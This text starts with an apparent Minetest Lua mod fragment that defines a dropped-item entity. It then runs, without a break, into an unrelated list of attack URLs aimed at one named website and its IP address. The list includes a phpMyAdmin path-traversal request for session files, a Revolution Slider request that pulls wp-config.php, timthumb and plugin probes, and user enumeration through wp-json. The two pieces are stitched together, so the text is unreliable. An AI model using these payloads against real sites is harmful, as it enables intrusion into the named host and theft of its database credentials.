initial_properties = {
hp_max = 1,
physical = true,
collisionbox = {-0.17,-0.17,-0.17, 0.17,0.17,0.17},
visual = "sprite",
visual_size = {x=0.5, y=0.5},
textures = {""},
spritediv = {x=1, y=1},
initial_sprite_basepos = {x=0, y=0},
is_visible = false,
timer = 0,
},
itemstring = '',
physical_state = true,
set_item = function(self, itemstring)
self.itemstring = itemstring
local stack = ItemStack(itemstring)
local itemtable = stack:to_table()
local itemname = nil
if itemtable then
itemname = stack:to_table().name
end
local item_texture = nil
local item_type = ""
if minetest.registered_items[itemname] then
item_texture = minetest.registered_items[itemname].inventory_image
item_type = minetest.registered_items[itemname].type
end
prop = {
is_visible = true,
visual = "sprite",
textures = {"unknown_item.png"}
}
if item_texture and item_texture ~= "" then
prop.visual = "sprite"
prop.textures = {item_texture}
prop.visual_size = {x=0.50, y=0.50}
else
prop.visual = "wielditem"
prop.textures = {itemname}
prop.visual_size = {x=0.20, y=0.20}
prop.automatic_rotate = math.pi * 0.25
end
self.object:set_properties(prop)
end,
get_staticdata = function(self)
--return self.itemstring
return minetest.serialize({
itemstring = self.itemstring,
always_collect = self.always_collect,
timer = self.timer,
})
end,
on_activate = function(self, staticdata, dtime_s)
if string.sub(staticdata, 1, string.len("return")) == "return" then
local data = minetest.deserialize(staticdata)
if data and type(data) == "table" then
self.itemstring = data.itemstring
self.always_collect = data.always_collect
self.timer = data.timer
if not self.timer then
self.timer = 0
end
self.timer = self.timer+dtime_s
end
else
self.itemstring = staticdata
end
self.object:set_armor_groups({immortal=1})
self.object:setvelocity({x=0, y=2, z=0})
self.object:setacceleration({x=0, y=-10, z=0})
self:set_item(self.itemstring)
end,
on_step = function(self, dtime)
local time = tonumber(minetest.setting_get("remove_items"))
if not time then
time = 7200
end
if not self.timer then
self.timer = 0
end
self.timer = self.timer + dtime
if time ~= 0 and (self.timer > time) then
self.object:remove()
end
local p = self.object:getpos()
local name = minetest.env:get_node(p).name
p.y = p.y - 0.3
local nn = minetest.env:get_node(p).name
-- If node is not registered or node is walkably solid
if not minetest.registered_nodes[nn] or minetest.registered_nodes[nn].walkable then
if self.physical_state then
self.object:setvelocity({x=0,y=0,z=0})
self.object:setacceleration({x=0, y=0, z=0})
self.physical_state = false
self.object:set_properties({
physical = false
})
end
else
if not self.physical_state then
self.object:setvelocity({x=0,y=0,z=0})
self.object:setacceleration({x=0, y=-10, z=0})
self.physical_state = true
self.object:set_properties({
physical = true
})
end
end
end,
on_punch = function(self, hitter)
if self.itemstring ~= '' then
local left = hitter:get_inventory():add_item("main", self.itemstring)
if not left:is_empty() then
self.itemstring = left:to_string()
return
end
end
self.object:remove()
end,
})
if minetest.setting_get("log_mods") then
minetest.log("action", "entity_cleaner loaded")
end
http://cpanel.labaspreces.eu http://212.7.207.89
http://cpanel.labaspreces.eu/resetpass http://cpanel.212.7.207.89/resetpass
http://cpanel.labaspreces.eu/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{} http://cpanel.212.7.207.89/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
http://cpcalendars.labaspreces.eu http://212.7.207.89
http://cpcontacts.labaspreces.eu http://212.7.207.89
http://dev-1.labaspreces.eu http://212.7.207.89
http://mail.labaspreces.eu http://212.7.207.89
http://webdisk.labaspreces.eu http://212.7.207.89
http://webmail.labaspreces.eu http://212.7.207.89
http://webmail.labaspreces.eu/robots.txt http://212.7.207.89
http://www.labaspreces.eu http://212.7.207.89
http://www.dev-1.labaspreces.eu http://212.7.207.89
wordpress
https://labaspreces.eu/wp-admin/admin.php?action=&page=
https://labaspreces.eu/wp-admin/upgrade.php?step=1
https://labaspreces.eu/wp-admin/post.php?post=&page=&post-edit-id=
https://labaspreces.eu/wp-includes/functions.php
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/frontend/tokenization-form.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/frontend/cart.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/frontend/add-payment-method.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/flexslider/jquery.flexslider.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/jquery-tiptip/jquery.tipTip.js
https://labaspreces.eu/wp-admin/admin.php?&page=action=
https://labaspreces.eu/wp-admin/admin.php?&page=revslider
https://labaspreces.eu/wp-admin/admin.php?page=wc-admin
https://labaspreces.eu/wp-admin/admin.php?page=list-records
https://labaspreces.eu/wp-admin/admin.php?page=add-edit-record&page-edit-id=999
https://labaspreces.eu/wp-admin/admin.php?action=akismet_recheck_queue
https://labaspreces.eu/wp-admin/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=
https://labaspreces.eu/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
https://labaspreces.eu/wp-admin/admin.php?page=add-edit-record
https://labaspreces.eu/wp-admin/admin-post.php?page=wysija
https://labaspreces.eu/wp-admin/post.php?post=new&page=add
https://labaspreces.eu/wp-admin/upgrade.php?step=1&upgrade=2
https://labaspreces.eu/wp-admin/update.php?step=2
https://labaspreces.eu/wp-admin/install.php?step=1
https://labaspreces.eu/wp-admin/admin-post.php?page=wysija
https://labaspreces.eu/wp-content/plugins/wp-vertical-gallery/
https://labaspreces.eu/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
https://labaspreces.eu/wp-content/themes/newsworld/scripts/timthumb.php
https://labaspreces.eu/wp-admin/admin.php?page=vertical_manage
https://labaspreces.eu/wp-content/plugins/woocommerce-product-addon
https://labaspreces.eu/wp-content/plugins/woocommerce-products-filter
https://labaspreces.eu/index.php/wp-json/wp/v2/posts/#{postid}
https://labaspreces.eu/wp-content/plugins/litespeed-cache/readme.txt
https://labaspreces.eu/wp-content/plugins/litespeed-cache/qc-ping.txt
https://labaspreces.eu/wp-content/plugins/woocommerce/readme.txt
https://labaspreces.eu/wp-content/plugins/woocommerce/license.txt
https://labaspreces.eu/wp-content/plugins/facebook-for-woocommerce/changelog.txt
https://labaspreces.eu/wp-content/plugins/facebook-for-woocommerce/readme.txt
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/css/auth.css
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/css/admin.css
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/css/dashboard.css
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/jquery-tiptip/jquery.tipTip.js
https://labaspreces.eu/wp-includes/version.php
https://labaspreces.eu/wp-includes/block-i18n.json
https://labaspreces.eu/wp-json/
https://labaspreces.eu/wp-json/oembed/
https://labaspreces.eu/wp-json/wp/v2/
https://labaspreces.eu/wp-json/wp/v2/users
https://labaspreces.eu/wp-json/jetpack/v4/connection?_locale=user
https://labaspreces.eu/wp-json/jetpack/v4/connection/data?_locale=user
cgi
http://labaspreces.eu/cgi-sys/suspendedpage.cgi
http://labaspreces.euc/cgi-sys/defaultwebpage.cgi